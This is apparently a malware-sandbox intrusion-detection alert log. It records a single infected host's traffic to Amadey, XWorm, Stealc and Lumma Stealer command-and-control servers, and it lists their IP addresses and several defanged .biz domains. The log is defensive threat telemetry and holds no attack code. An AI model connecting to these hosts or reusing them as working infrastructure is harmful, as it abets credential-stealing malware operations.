2024-12-14T14:57:42.743354+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50206	185.81.68.147	80	TCP
2024-12-14T14:57:42.743354+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50206	185.81.68.147	80	TCP
2024-12-14T14:57:42.889026+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50183	185.215.113.206	80	TCP
2024-12-14T14:57:44.610579+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50212	185.81.68.147	80	TCP
2024-12-14T14:57:44.610579+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50212	185.81.68.147	80	TCP
2024-12-14T14:57:44.610579+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50212	185.81.68.147	80	TCP
2024-12-14T14:57:45.880893+0100	2856151	ETPRO MALWARE Amadey CnC Activity M7	1	192.168.2.5	50210	185.81.68.148	80	TCP
2024-12-14T14:57:45.884552+0100	2856151	ETPRO MALWARE Amadey CnC Activity M7	1	192.168.2.5	50211	185.81.68.148	80	TCP
2024-12-14T14:57:46.639381+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50214	185.81.68.147	80	TCP
2024-12-14T14:57:46.639381+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50214	185.81.68.147	80	TCP
2024-12-14T14:57:46.639381+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50214	185.81.68.147	80	TCP
2024-12-14T14:57:48.307405+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:57:48.307405+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:57:48.607285+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50217	185.81.68.147	80	TCP
2024-12-14T14:57:48.607285+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50217	185.81.68.147	80	TCP
2024-12-14T14:57:48.607285+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50217	185.81.68.147	80	TCP
2024-12-14T14:57:49.839913+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50183	185.215.113.206	80	TCP
2024-12-14T14:57:50.552346+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50219	185.81.68.147	80	TCP
2024-12-14T14:57:50.552346+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50219	185.81.68.147	80	TCP
2024-12-14T14:57:50.552346+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50219	185.81.68.147	80	TCP
2024-12-14T14:57:50.928656+0100	2856151	ETPRO MALWARE Amadey CnC Activity M7	1	192.168.2.5	50218	185.81.68.148	80	TCP
2024-12-14T14:57:51.105267+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50183	185.215.113.206	80	TCP
2024-12-14T14:57:52.318759+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50221	185.81.68.147	80	TCP
2024-12-14T14:57:52.318759+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50221	185.81.68.147	80	TCP
2024-12-14T14:57:52.318759+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50221	185.81.68.147	80	TCP
2024-12-14T14:57:54.163111+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:57:54.163111+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:57:54.320351+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50225	185.81.68.147	80	TCP
2024-12-14T14:57:54.320351+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50225	185.81.68.147	80	TCP
2024-12-14T14:57:54.320351+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50225	185.81.68.147	80	TCP
2024-12-14T14:57:56.254352+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50227	185.81.68.147	80	TCP
2024-12-14T14:57:56.254352+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50227	185.81.68.147	80	TCP
2024-12-14T14:57:56.254352+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50227	185.81.68.147	80	TCP
2024-12-14T14:57:56.495679+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50226	185.215.113.16	80	TCP
2024-12-14T14:57:58.148679+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50230	185.81.68.147	80	TCP
2024-12-14T14:57:58.148679+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50230	185.81.68.147	80	TCP
2024-12-14T14:57:58.148679+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50230	185.81.68.147	80	TCP
2024-12-14T14:57:58.223164+0100	2058160	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)	1	192.168.2.5	50229	104.21.35.43	443	TCP
2024-12-14T14:57:58.223164+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50229	104.21.35.43	443	TCP
2024-12-14T14:57:58.960874+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50229	104.21.35.43	443	TCP
2024-12-14T14:57:58.960874+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50229	104.21.35.43	443	TCP
2024-12-14T14:57:58.971844+0100	2057945	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.5	62695	1.1.1.1	53	UDP
2024-12-14T14:57:58.971844+0100	2057983	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.5	62695	1.1.1.1	53	UDP
2024-12-14T14:57:59.116432+0100	2057949	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.5	50748	1.1.1.1	53	UDP
2024-12-14T14:57:59.116432+0100	2057981	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.5	50748	1.1.1.1	53	UDP
2024-12-14T14:57:59.255622+0100	2057929	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.5	59299	1.1.1.1	53	UDP
2024-12-14T14:57:59.255622+0100	2057979	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.5	59299	1.1.1.1	53	UDP
2024-12-14T14:57:59.396222+0100	2057931	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.5	58135	1.1.1.1	53	UDP
2024-12-14T14:57:59.396222+0100	2057977	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.5	58135	1.1.1.1	53	UDP
2024-12-14T14:57:59.535123+0100	2057925	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.5	64897	1.1.1.1	53	UDP
2024-12-14T14:57:59.535123+0100	2057973	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.5	64897	1.1.1.1	53	UDP
2024-12-14T14:57:59.674777+0100	2057927	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.5	51263	1.1.1.1	53	UDP
2024-12-14T14:57:59.674777+0100	2057975	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.5	51263	1.1.1.1	53	UDP
2024-12-14T14:57:59.814807+0100	2057943	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.5	52728	1.1.1.1	53	UDP
2024-12-14T14:57:59.814807+0100	2057971	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.5	52728	1.1.1.1	53	UDP
2024-12-14T14:58:00.046623+0100	2057935	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.5	51592	1.1.1.1	53	UDP
2024-12-14T14:58:00.046623+0100	2057969	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.5	51592	1.1.1.1	53	UDP
2024-12-14T14:58:00.085406+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50231	185.81.68.147	80	TCP
2024-12-14T14:58:00.085406+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50231	185.81.68.147	80	TCP
2024-12-14T14:58:00.085406+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50231	185.81.68.147	80	TCP
2024-12-14T14:58:01.869365+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50233	23.55.153.106	443	TCP
2024-12-14T14:58:01.995075+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50235	185.81.68.147	80	TCP
2024-12-14T14:58:01.995075+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50235	185.81.68.147	80	TCP
2024-12-14T14:58:01.995075+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50235	185.81.68.147	80	TCP
2024-12-14T14:58:02.759877+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	50233	23.55.153.106	443	TCP
2024-12-14T14:58:03.868628+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50237	185.81.68.147	80	TCP
2024-12-14T14:58:03.868628+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50237	185.81.68.147	80	TCP
2024-12-14T14:58:03.868628+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50237	185.81.68.147	80	TCP
2024-12-14T14:58:05.745353+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50239	185.81.68.147	80	TCP
2024-12-14T14:58:05.745353+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50239	185.81.68.147	80	TCP
2024-12-14T14:58:05.745353+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50239	185.81.68.147	80	TCP
2024-12-14T14:58:06.327173+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50238	185.215.113.206	80	TCP
2024-12-14T14:58:07.823345+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50241	185.81.68.147	80	TCP
2024-12-14T14:58:07.823345+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50241	185.81.68.147	80	TCP
2024-12-14T14:58:07.823345+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50241	185.81.68.147	80	TCP
2024-12-14T14:58:09.571627+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50242	185.81.68.147	80	TCP
2024-12-14T14:58:09.571627+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50242	185.81.68.147	80	TCP
2024-12-14T14:58:09.571627+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50242	185.81.68.147	80	TCP
2024-12-14T14:58:11.505932+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50246	185.81.68.147	80	TCP
2024-12-14T14:58:11.505932+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50246	185.81.68.147	80	TCP
2024-12-14T14:58:11.505932+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50246	185.81.68.147	80	TCP
2024-12-14T14:58:13.301518+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50252	185.81.68.147	80	TCP
2024-12-14T14:58:13.301518+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50252	185.81.68.147	80	TCP
2024-12-14T14:58:13.301518+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50252	185.81.68.147	80	TCP
2024-12-14T14:58:14.267316+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50250	185.215.113.206	80	TCP
2024-12-14T14:58:15.274231+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50253	185.81.68.147	80	TCP
2024-12-14T14:58:15.274231+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50253	185.81.68.147	80	TCP
2024-12-14T14:58:15.274231+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50253	185.81.68.147	80	TCP
2024-12-14T14:58:17.192578+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50255	185.81.68.147	80	TCP
2024-12-14T14:58:17.192578+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50255	185.81.68.147	80	TCP
2024-12-14T14:58:17.192578+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50255	185.81.68.147	80	TCP
2024-12-14T14:58:18.506961+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:58:18.506961+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:58:18.922969+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50256	185.81.68.147	80	TCP
2024-12-14T14:58:18.922969+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50256	185.81.68.147	80	TCP
2024-12-14T14:58:18.922969+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50256	185.81.68.147	80	TCP
2024-12-14T14:58:20.778257+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50258	185.81.68.147	80	TCP
2024-12-14T14:58:20.778257+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50258	185.81.68.147	80	TCP
2024-12-14T14:58:20.778257+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50258	185.81.68.147	80	TCP
2024-12-14T14:58:22.696006+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50261	185.81.68.147	80	TCP
2024-12-14T14:58:22.696006+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50261	185.81.68.147	80	TCP
2024-12-14T14:58:22.696006+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50261	185.81.68.147	80	TCP
2024-12-14T14:58:24.167060+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:58:24.167060+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:58:24.407272+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50262	185.81.68.147	80	TCP
2024-12-14T14:58:24.407272+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50262	185.81.68.147	80	TCP
2024-12-14T14:58:24.407272+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50262	185.81.68.147	80	TCP
2024-12-14T14:58:26.342430+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50264	185.81.68.147	80	TCP
2024-12-14T14:58:26.342430+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50264	185.81.68.147	80	TCP
2024-12-14T14:58:26.342430+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50264	185.81.68.147	80	TCP
2024-12-14T14:58:28.176863+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50265	185.81.68.147	80	TCP
2024-12-14T14:58:28.176863+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50265	185.81.68.147	80	TCP
2024-12-14T14:58:28.176863+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50265	185.81.68.147	80	TCP
2024-12-14T14:58:30.103662+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50267	185.81.68.147	80	TCP
2024-12-14T14:58:30.103662+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50267	185.81.68.147	80	TCP
2024-12-14T14:58:30.103662+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50267	185.81.68.147	80	TCP
2024-12-14T14:58:32.059658+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50269	185.81.68.147	80	TCP
2024-12-14T14:58:32.059658+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50269	185.81.68.147	80	TCP
2024-12-14T14:58:32.059658+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50269	185.81.68.147	80	TCP
2024-12-14T14:58:33.792204+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50270	185.81.68.147	80	TCP
2024-12-14T14:58:33.792204+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50270	185.81.68.147	80	TCP
2024-12-14T14:58:33.792204+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50270	185.81.68.147	80	TCP
2024-12-14T14:58:35.704752+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50273	185.81.68.147	80	TCP
2024-12-14T14:58:35.704752+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50273	185.81.68.147	80	TCP
2024-12-14T14:58:35.704752+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50273	185.81.68.147	80	TCP
2024-12-14T14:58:37.547195+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50274	185.81.68.147	80	TCP
2024-12-14T14:58:37.547195+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50274	185.81.68.147	80	TCP
2024-12-14T14:58:37.547195+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50274	185.81.68.147	80	TCP
2024-12-14T14:58:39.480226+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50276	185.81.68.147	80	TCP
2024-12-14T14:58:39.480226+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50276	185.81.68.147	80	TCP
2024-12-14T14:58:39.480226+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50276	185.81.68.147	80	TCP
2024-12-14T14:58:41.716332+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50278	185.81.68.147	80	TCP
2024-12-14T14:58:41.716332+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50278	185.81.68.147	80	TCP
2024-12-14T14:58:41.716332+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50278	185.81.68.147	80	TCP
2024-12-14T14:58:43.711475+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50279	185.81.68.147	80	TCP
2024-12-14T14:58:43.711475+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50279	185.81.68.147	80	TCP
2024-12-14T14:58:43.711475+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50279	185.81.68.147	80	TCP
2024-12-14T14:58:45.678839+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50281	185.81.68.147	80	TCP
2024-12-14T14:58:45.678839+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50281	185.81.68.147	80	TCP
2024-12-14T14:58:45.678839+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50281	185.81.68.147	80	TCP
2024-12-14T14:58:47.551723+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50283	185.81.68.147	80	TCP
2024-12-14T14:58:47.551723+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50283	185.81.68.147	80	TCP
2024-12-14T14:58:47.551723+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50283	185.81.68.147	80	TCP
2024-12-14T14:58:48.518303+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:58:48.518303+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:58:49.457706+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50285	185.81.68.147	80	TCP
2024-12-14T14:58:49.457706+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50285	185.81.68.147	80	TCP
2024-12-14T14:58:49.457706+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50285	185.81.68.147	80	TCP
2024-12-14T14:58:51.315639+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50287	185.81.68.147	80	TCP
2024-12-14T14:58:51.315639+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50287	185.81.68.147	80	TCP
2024-12-14T14:58:51.315639+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50287	185.81.68.147	80	TCP
2024-12-14T14:58:53.245616+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50288	185.81.68.147	80	TCP
2024-12-14T14:58:53.245616+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50288	185.81.68.147	80	TCP
2024-12-14T14:58:53.245616+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50288	185.81.68.147	80	TCP
2024-12-14T14:58:54.192342+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:58:54.192342+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:58:55.298594+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50290	185.81.68.147	80	TCP
2024-12-14T14:58:55.298594+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50290	185.81.68.147	80	TCP
2024-12-14T14:58:55.298594+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50290	185.81.68.147	80	TCP
2024-12-14T14:58:57.293316+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50292	185.81.68.147	80	TCP
2024-12-14T14:58:57.293316+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50292	185.81.68.147	80	TCP
2024-12-14T14:58:57.293316+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50292	185.81.68.147	80	TCP
2024-12-14T14:58:59.207723+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50293	185.81.68.147	80	TCP
2024-12-14T14:58:59.207723+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50293	185.81.68.147	80	TCP
2024-12-14T14:58:59.207723+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50293	185.81.68.147	80	TCP
2024-12-14T14:59:01.210087+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50295	185.81.68.147	80	TCP
2024-12-14T14:59:01.210087+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50295	185.81.68.147	80	TCP
2024-12-14T14:59:01.210087+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50295	185.81.68.147	80	TCP
2024-12-14T14:59:03.044032+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50297	185.81.68.147	80	TCP
2024-12-14T14:59:03.044032+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50297	185.81.68.147	80	TCP
2024-12-14T14:59:03.044032+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50297	185.81.68.147	80	TCP
2024-12-14T14:59:04.930684+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50298	185.81.68.147	80	TCP
2024-12-14T14:59:04.930684+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50298	185.81.68.147	80	TCP
2024-12-14T14:59:04.930684+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50298	185.81.68.147	80	TCP
2024-12-14T14:59:07.971937+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50300	185.81.68.147	80	TCP
2024-12-14T14:59:07.971937+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50300	185.81.68.147	80	TCP
2024-12-14T14:59:07.971937+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50300	185.81.68.147	80	TCP
2024-12-14T14:59:09.946444+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50302	185.81.68.147	80	TCP
2024-12-14T14:59:09.946444+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50302	185.81.68.147	80	TCP
2024-12-14T14:59:09.946444+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50302	185.81.68.147	80	TCP
2024-12-14T14:59:11.829484+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50303	185.81.68.147	80	TCP
2024-12-14T14:59:11.829484+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50303	185.81.68.147	80	TCP
2024-12-14T14:59:11.829484+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50303	185.81.68.147	80	TCP
2024-12-14T14:59:13.511645+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50305	185.81.68.147	80	TCP
2024-12-14T14:59:13.511645+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50305	185.81.68.147	80	TCP
2024-12-14T14:59:13.511645+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50305	185.81.68.147	80	TCP
2024-12-14T14:59:15.304015+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50308	185.81.68.147	80	TCP
2024-12-14T14:59:15.304015+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50308	185.81.68.147	80	TCP
